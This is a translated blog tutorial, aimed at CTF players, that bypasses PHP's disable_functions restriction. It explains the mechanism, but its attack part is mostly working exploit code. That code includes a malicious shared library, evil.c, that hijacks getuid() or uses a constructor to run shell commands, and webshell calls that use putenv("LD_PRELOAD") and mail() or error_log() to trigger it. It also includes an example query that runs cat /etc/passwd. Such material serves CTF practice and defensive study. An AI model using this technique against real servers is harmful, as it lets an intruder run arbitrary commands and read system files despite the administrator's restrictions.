The defense of disable_functions
在大多数CTF比赛中,出题者会设置 disable_functions
这种环境变量。因此,在某些情况下,我已经在远程服务器上获得了一个webshell,但我却因为 disable_functions
而无法使用一些特定的系统函数。因此,我在本文中将展示突破这种难题的方法。首先,我将在我的docker镜像 php:7.1.19-apache
上展示我绕过 disable_functions
的方法。
首先,我会找到当前系统加载的文件 php.ini
:
php -i | grep php.ini
// return with "Loaded Configuration File => /usr/local/etc/php/php.ini"
如果在此路径下找不到该文件,那么您只需要自己创建即可。然后,我在文件中写入 disable_functions=system,exec
选项。此时请重新启动服务以使更改生效。举个例子来说,我重启了我在在docker镜像上的apache服务,这样就可以在phpinfo()中看到这些变化。有人可能会将使用 <?php putenv("");
和直接写入 php.ini
文件的区别混淆,实际上,我们可以在官方文档中找到答案:添加设置到服务器环境。环境变量仅存在于当前请求状态下。
为了展示 disable_functions
是如何工作的,我试着写了一个webshell:
echo system(ls);// return with "Warning: system() has been disabled for security in /var/www/html/xxx.php"
非常恼人的是,此时尽管您已经获得了shell,但您却不能执行系统函数。在Code Breaking Puzzles比赛中,我使用了各种各样的php函数来解决问题。现在,我将使用 LD_PRELOAD
来解决现在我们遇到的这个难题。
这个方法几年前就已经出现了,它建立在这样的概念之上:当系统试图调用该函数时,该函数位于特定的共享库( xxx.so
)中。因此,系统将在调用函数之前加载 xxx.so
。换句话说,如果我可以在其中创建一个带有同名evil函数的 evil.so
,那么我有机会劫持该函数。
首先,我需要选择我想要劫持的函数,在这里我选择 getuid
作为劫持函数,因为它是一个非常基本的函数,不需要任何参数。有了 man2getuid
,我重写了这个函数:
// evil.c#include <unistd.h>#include <sys/types.h>
uid_t getuid(void){ system("ls"); return 0;}
其次,我需要找到一个可以调用 getuid
并运行新进程的php函数。运行新进程的原因就像我上面提到的,我需要重新启动服务来改变 LD_PRELOAD
的值。在这里我选择了 mail()
,通过 strace-f php mail.php2>&1
,我们可以看到,邮件函数不仅可以调用 getuid
,还可以使用 execve("/usr/sbin/sendmail",...
来创建新进程。
最后一步,我只需要使用 gcc-shared-fPIC evil.c-o evil.so
。在我的webshell中:
putenv("LD_PRELOAD=/var/www/html/evil.so");mail("a","b","c","d");
第一行用来预加载evil共享库。在下一行,当 mail()
找到 getuid
并尝试运行它时,它实际运行的是其中包含 system("ls")
的被劫持函数。除此之外, error_log()
还将执行sendmail。尝试运行 error_log("test",1,"","")
。
但是,系统上没有安装 sendmail
,或者开发人员可能会限制执行 /usr/sbin/sendmail
,这将导致创建新进程失败。
在这里,我建议你可以试着不劫持函数进行攻击。我们可以改为直接劫持共享库!我会用这个 __attribute__((__constructor__))
这个概念。就像How exactly does attribute((constructor)) work(https://stackoverflow.com/questions/2053029/how-exactly-does-attribute-constructor-work) 这篇文章中写的一样,在stackoverflow中,它在加载共享库时,通常是在程序启动期间运行。因此,我重写C程序以劫持共享库:
// evil.c#define _GNU_SOURCE#include <stdlib.h>#include <unistd.h>#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){ unsetenv("LD_PRELOAD"); const char* cmd = getenv("CMD"); system(cmd);}
最后我又一次使用了 gcc-shared-fPIC evil.c-o evil.so
,并且写了另一个php webshell:
通过 xxx/?cmd=cat/etc/passwd&out=res.txt&sopath=/var/www/html/evil.so
,我可以动态执行我想要运行的命令。
1.我们使用 mail()
的原因是,函数将会执行sendmail,它将启动一个新进程并运行 getuid()
,这样我们就可以劫持 getuid()
。
2.如果没有sendmail,我们只能放弃劫持 getuid
。但我们可以使函数在主函数之前运行劫持新启动的进程。当 mail()
尝试启动一个新的子进程时, evil.so
会再次加载。
3.如果 mail()
也被禁止,我们需要找到的是另一个可以启动新进程的函数。我们可以测试 imagick()
,它将启动一个子进程来执行 ffmpeg
。同样,我们也可以在 __attribute__
上获得成功!
原文链接:https://blog.1pwnch.com/websecurity/2019/04/08/Bypass-disablefuncs-with-LDPRELOAD/